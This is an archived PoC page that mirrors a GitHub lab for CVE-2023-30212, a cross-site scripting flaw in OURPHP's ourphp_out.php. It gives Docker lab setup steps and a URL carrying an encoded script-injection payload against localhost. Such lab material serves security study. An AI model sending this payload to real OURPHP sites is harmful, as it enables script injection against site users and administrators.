CVE-2023-30212 PoC — OURPHP 跨站脚本漏洞

Source

https://github.com/mallutrojan/CVE-2023-30212-Lab

Associated Vulnerability

Title:OURPHP 跨站脚本漏洞 (CVE-2023-30212)
Description:OURPHP是OURPHP开源的一个开源、跨平台、企业级+电商+小程序+APP多终端同步的CMS建站系统。 OURPHP 7.2.0版本及之前版本存在安全漏洞，该漏洞源于通过文件ourphp_out.php发现包含跨站脚本（XSS）漏洞。

Description

GitHub repository with Dockerfile and files to create a vulnerable environment for CVE-2023-30212, enabling exploration of the exploitability of this security vulnerability. Ideal for research and security enthusiasts to study and understand the impact of the vulnerability in a controlled setting.

Readme

# CVE-2023-30212-Lab
GitHub repository with Dockerfile and files to create a vulnerable environment for CVE-2023-30212, enabling exploration of the exploitability of this security vulnerability. Ideal for research and security enthusiasts to study and understand the impact of the vulnerability in a controlled setting.







Download this repository by 

git clone https://github.com/mallutrojan/CVE-2023-30212-Lab.git

Cd CVE-2023-30212-Lab

chmod u+x lab.sh

./lab.sh

http://localhost and set up the user using password

execute this url in browser

http://localhost/client/manage/ourphp_out.php?ourphp_admin=logout&out=%3C/script%3E%3Cscript%3Ealert(`xss`)%3C/script%3E

File Snapshot


 [4.0K]  /data/pocs/637cb80dd4d04f4a26a4c228965f9ce96733d6ef
├── [1.4K]  Dockerfile
├── [1.8K]  lab.sh
└── [ 676]  README.md

0 directories, 3 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!